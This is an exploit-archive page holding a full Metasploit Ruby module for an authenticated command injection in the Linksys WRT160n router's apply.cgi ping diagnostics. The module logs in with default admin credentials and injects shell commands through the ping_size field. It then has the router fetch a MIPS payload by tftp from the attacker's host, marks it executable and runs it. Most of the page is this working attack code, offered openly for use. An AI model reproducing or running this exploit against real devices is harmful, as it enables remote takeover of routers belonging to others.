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Linksys WRT160n apply.cgi Remote Command Injection

Linksys WRT160n apply.cgi Remote Command Injection
Posted May 21, 2013
Authored by Michael Messner, juan vazquez | Site metasploit.com

Some Linksys Routers are vulnerable to an authenticated OS command injection on their web interface where default credentials are admin/admin or admin/password. Since it is a blind OS command injection vulnerability, there is no output for the executed command when using the cmd generic payload. This Metasploit module has been tested on a Linksys WRT160n version 2 - firmware version v2.0.03. A ping command against a controlled system could be used for testing purposes. The exploit uses the tftp client from the device to stage to native payloads from the command injection.

tags | exploit, web
advisories | OSVDB-90093
MD5 | c6c565057b83cf3f31573084b028cdd3

Linksys WRT160n apply.cgi Remote Command Injection

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##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##

require 'msf/core'
require 'rex/proto/tftp'

class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper

def initialize(info = {})
super(update_info(info,
'Name' => 'Linksys WRT160nv2 apply.cgi Remote Command Injection',
'Description' => %q{
Some Linksys Routers are vulnerable to an authenticated OS command injection on
their web interface where default credentials are admin/admin or admin/password.
Since it is a blind OS command injection vulnerability, there is no output for the
executed command when using the cmd generic payload. This module has been tested on
a Linksys WRT160n version 2 - firmware version v2.0.03. A ping command against a
controlled system could be used for testing purposes. The exploit uses the tftp
client from the device to stage to native payloads from the command injection.
},
'Author' =>
[
'Michael Messner <devnull@s3cur1ty.de>', # Vulnerability discovery and Metasploit module
'juan vazquez' # minor help with msf module
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'BID', '57887' ],
[ 'EDB', '24478' ],
[ 'OSVDB', '90093' ],
[ 'URL', 'http://www.s3cur1ty.de/m1adv2013-012' ]
],
'DisclosureDate' => 'Feb 11 2013',
'Privileged' => true,
'Platform' => ['linux','unix'],
'Payload' =>
{
'DisableNops' => true
},
'Targets' =>
[
[ 'CMD',
{
'Arch' => ARCH_CMD,
'Platform' => 'unix'
}
],
[ 'Linux mipsel Payload',
{
'Arch' => ARCH_MIPSLE,
'Platform' => 'linux'
}
],
],
'DefaultTarget' => 1
))

register_options(
[
OptString.new('USERNAME', [ true, 'The username to authenticate as', 'admin' ]),
OptString.new('PASSWORD', [ true, 'The password for the specified username', 'admin' ]),
OptAddress.new('LHOST', [ true, 'The listen IP address from where the victim downloads the MIPS payload' ]),
OptString.new('DOWNFILE', [ false, 'Filename to download, (default: random)' ]),
OptInt.new('DELAY', [true, 'Time that the HTTP Server will wait for the ELF payload request', 10])
], self.class)
end


def request(cmd,user,pass,uri)
begin
res = send_request_cgi({
'uri' => uri,
'method' => 'POST',
'authorization' => basic_auth(user,pass),
'vars_post' => {
"submit_button" => "Diagnostics",
"change_action" => "gozila_cgi",
"submit_type" => "start_ping",
"action" => "",
"commit" => "0",
"ping_ip" => "1.1.1.1",
"ping_size" => "&#{cmd}&",
"ping_times" => "5",
"traceroute_ip" => ""
}
})
return res
rescue ::Rex::ConnectionError
vprint_error("#{rhost}:#{rport} - Failed to connect to the web server")
return nil
end
end

def exploit
downfile = datastore['DOWNFILE'] || rand_text_alpha(8+rand(4))
uri = '/apply.cgi'
user = datastore['USERNAME']
pass = datastore['PASSWORD']
lhost = datastore['LHOST']

#
# testing Login
#
print_status("#{rhost}:#{rport} - Trying to login with #{user} / #{pass}")
begin
res = send_request_cgi({
'uri' => uri,
'method' => 'GET',
'authorization' => basic_auth(user,pass)
})
if res.nil? or res.code == 404
fail_with(Exploit::Failure::NoAccess, "#{rhost}:#{rport} - No successful login possible with #{user}/#{pass}")
end
if [200, 301, 302].include?(res.code)
print_good("#{rhost}:#{rport} - Successful login #{user}/#{pass}")
else
fail_with(Exploit::Failure::NoAccess, "#{rhost}:#{rport} - No successful login possible with #{user}/#{pass}")
end
rescue ::Rex::ConnectionError
fail_with(Exploit::Failure::Unreachable, "#{rhost}:#{rport} - Failed to connect to the web server")
end

if target.name =~ /CMD/
if not (datastore['CMD'])
fail_with(Exploit::Failure::BadConfig, "#{rhost}:#{rport} - Only the cmd/generic payload is compatible")
end
cmd = payload.encoded
res = request(cmd,user,pass,uri)
if (!res)
fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload")
else
print_status("#{rhost}:#{rport} - Blind Exploitation - unknown Exploitation state")
end
return
end

#thx to Juan for his awesome work on the mipsel elf support
@pl = generate_payload_exe

#
# start our server
#
print_status("#{rhost}:#{rport} - Starting up our TFTP service")
@tftp = Rex::Proto::TFTP::Server.new
@tftp.register_file(downfile,@pl,true)
@tftp.start

#
# download payload
#
print_status("#{rhost}:#{rport} - Asking the Linksys device to download #{downfile}")
#this filename is used to store the payload on the device -> we have limited space for the filename!
filename = rand_text_alpha_lower(4)

#not working if we send all command together -> lets take three requests
cmd = "tftp -l /tmp/#{filename} -r #{downfile} -g #{lhost}"
res = request(cmd,user,pass,uri)
if (!res)
fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to deploy payload")
end

# wait for payload download
if (datastore['DOWNHOST'])
print_status("#{rhost}:#{rport} - Giving #{datastore['DELAY']} seconds to the Linksys device to download the payload")
select(nil, nil, nil, datastore['DELAY'])
else
wait_linux_payload
end
@tftp.stop
register_file_for_cleanup("/tmp/#{filename}")

#
# chmod
#
cmd = "chmod 777 /tmp/#{filename}"
print_status("#{rhost}:#{rport} - Asking the Linksys device to chmod #{downfile}")
res = request(cmd,user,pass,uri)
if (!res)
fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to deploy payload")
end

#
# execute
#
cmd = "/tmp/#{filename}"
print_status("#{rhost}:#{rport} - Asking the Linksys device to execute #{downfile}")
res = request(cmd,user,pass,uri)
if (!res)
fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to deploy payload")
end

end

# wait for the data to be sent
def wait_linux_payload
print_status("#{rhost}:#{rport} - Waiting for the victim to request the ELF payload...")

waited = 0
while (not @tftp.files.length == 0)
select(nil, nil, nil, 1)
waited += 1
if (waited > datastore['DELAY'])
@tftp.stop
fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Target didn't request request the ELF payload -- Maybe it cant connect back to us?")
end
end
end
end

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